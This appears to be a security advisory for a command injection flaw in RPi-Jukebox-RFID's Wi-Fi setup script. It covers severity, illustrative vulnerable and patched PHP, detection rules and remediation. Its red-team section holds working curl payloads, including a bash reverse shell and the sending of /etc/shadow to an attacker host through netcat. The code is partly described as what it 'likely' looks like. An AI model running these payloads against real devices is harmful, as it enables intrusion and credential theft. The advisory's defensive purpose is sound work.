CVE-2024-41369

Executive Summary

CVE-2024-41369 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source project for turning a Raspberry Pi into a jukebox controlled by RFID cards. The flaw resides in the htdocs/inc.setWifi.php script, which fails to properly sanitize user-supplied input before passing it to a system command. An unauthenticated attacker can exploit this by sending a crafted HTTP request to the vulnerable endpoint, achieving arbitrary command execution on the underlying Raspberry Pi with the privileges of the web server (typically www-data). This can lead to full compromise of the device, including data exfiltration, lateral movement within the local network, and potential use as a bot in a larger attack. No official patch has been released, and the vendor appears unresponsive, making this a high-priority issue for all users of the affected software.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the PHP application. However, the project may be distributed via GitHub or as a disk image, and users should verify the integrity of any downloaded files. The lack of a patch means the supply chain risk is elevated, as no official fix is available.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected component are the same.
• Confidentiality (C): High (H) – Full system access allows reading any file.
• Integrity (I): High (H) – Attacker can modify files and execute commands.
• Availability (A): High (H) – Attacker can disrupt services or crash the system.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full remote code execution. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the htdocs/inc.setWifi.php script. This script is intended to configure Wi-Fi settings on the Raspberry Pi. It likely takes parameters such as SSID and password and passes them to a system command like iwconfig or wpa_passphrase without proper sanitization.

The core issue is that user-supplied input (e.g., via GET or POST parameters) is concatenated directly into a shell command string. For example, a vulnerable code snippet might look like:

$ssid = $_POST['ssid'];
$password = $_POST['password'];
system("wpa_passphrase " . $ssid . " " . $password);

An attacker can inject arbitrary commands by including shell metacharacters such as ;, |, &&, or backticks in the input. For instance, setting the ssid parameter to test; id would execute the id command after the intended wpa_passphrase command.

The script is accessible without authentication, making it a prime target for automated scanning and exploitation. The Raspberry Pi is often on a local network, but if exposed to the internet (e.g., via port forwarding), the attack surface expands dramatically.

Vulnerable vs. Patched Code

Vulnerable Code (v2.7.0):

<?php
// inc.setWifi.php
$ssid = $_POST['ssid'];
$password = $_POST['password'];
$cmd = "wpa_passphrase " . $ssid . " " . $password;
system($cmd);
?>

Patched Code (Hypothetical):

<?php
// inc.setWifi.php
$ssid = escapeshellarg($_POST['ssid']);
$password = escapeshellarg($_POST['password']);
$cmd = "wpa_passphrase " . $ssid . " " . $password;
system($cmd);
?>

The patched version uses escapeshellarg() to properly escape shell arguments, preventing injection. Additionally, input validation (e.g., checking for allowed characters) and the use of exec() with a properly sanitized argument array would further harden the code.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install RPi-Jukebox-RFID v2.7.0 on a Raspberry Pi (or a virtual machine running Raspberry Pi OS).
2. Ensure the web server (Apache/Nginx) is running and the htdocs directory is accessible.
3. Identify the vulnerable endpoint: http://<target-ip>/inc.setWifi.php.

Exploitation Steps:

1. Basic Command Injection:

   curl -X POST http://<target-ip>/inc.setWifi.php \
     -d "ssid=test;id&password=test"
   

   The output of the id command will be returned in the response.

2. Reverse Shell: Use a netcat reverse shell payload:

   curl -X POST http://<target-ip>/inc.setWifi.php \
     -d "ssid=test;bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1&password=test"
   

   Then, on the attacker machine:

   nc -lvnp 4444
   

3. Data Exfiltration:

   curl -X POST http://<target-ip>/inc.setWifi.php \
     -d "ssid=test;cat /etc/shadow | nc <attacker-ip> 5555&password=test"
   

Automation with Metasploit: A Metasploit module can be created to automate exploitation. The module would send a POST request with a command injection payload and handle the reverse shell.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for unusual POST requests to /inc.setWifi.php containing shell metacharacters (;, |, &, `).
• Look for outbound connections from the Raspberry Pi to unusual IP addresses on high ports (e.g., 4444, 5555).
• Use file integrity monitoring to detect changes to system binaries or configuration files.

Defense:

• Immediately isolate the Raspberry Pi from the network if exploitation is suspected.
• Apply a virtual patch using a Web Application Firewall (WAF) to block requests containing shell metacharacters in the ssid or password parameters.
• If possible, remove or disable the inc.setWifi.php script until a patch is available.
• Restrict network access to the web interface using firewall rules (e.g., allow only from trusted IPs).

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /inc.setWifi.php with parameters containing ;, |, &&, or backticks.
• Outbound connections from the Raspberry Pi to IP addresses on ports 4444, 5555, or other non-standard ports.
• Unusual DNS queries from the Raspberry Pi to domains associated with C2 infrastructure.

Host IOCs:

• Unexpected processes running as www-data (e.g., bash, nc, python).
• New files in /tmp/ or /var/tmp/ with suspicious names (e.g., .sh, .py).
• Modified system binaries (e.g., /bin/bash, /usr/bin/curl).
• Unauthorized SSH keys added to /home/pi/.ssh/authorized_keys.

File IOCs:

• The presence of a web shell in the htdocs directory (e.g., shell.php, cmd.php).
• Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log showing the exploit pattern.

Detection Engineering

YARA Rule

rule CVE_2024_41369_RCE_Detection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41369 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41369"
    strings:
        $exploit_pattern = /ssid=.*[;&|`$].*password=/
        $vulnerable_script = "inc.setWifi.php"
    condition:
        $vulnerable_script and $exploit_pattern
}

Sigma Rule

title: CVE-2024-41369 RCE Attempt via inc.setWifi.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to inc.setWifi.php with command injection patterns
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/inc.setWifi.php'
        cs-uri-query|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in SSID (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41369 RCE Attempt via inc.setWifi.php"; flow:to_server; http.method; content:"POST"; http.uri; content:"/inc.setWifi.php"; http.client_body; content:"ssid="; pcre:"/ssid=.*[;&|`$].*password=/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Disconnect the Raspberry Pi from the network to prevent exploitation.
2. Disable the Vulnerable Script: Remove or rename htdocs/inc.setWifi.php to break the attack vector.
3. Apply Virtual Patch: Use a WAF to block requests containing shell metacharacters in the ssid or password parameters.

Long-Term Fix:

• Patch the Code: Modify inc.setWifi.php to use escapeshellarg() on all user inputs before passing them to system() or exec(). Alternatively, use a dedicated library for Wi-Fi configuration that does not rely on shell commands.
• Upgrade: Monitor the official repository for a patched version. If none is released, consider forking the project and applying the fix yourself.
• Harden the System: Run the web server with the least privileges necessary. Use a chroot jail or containerization to limit the impact of a compromise.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at [valters@example.com].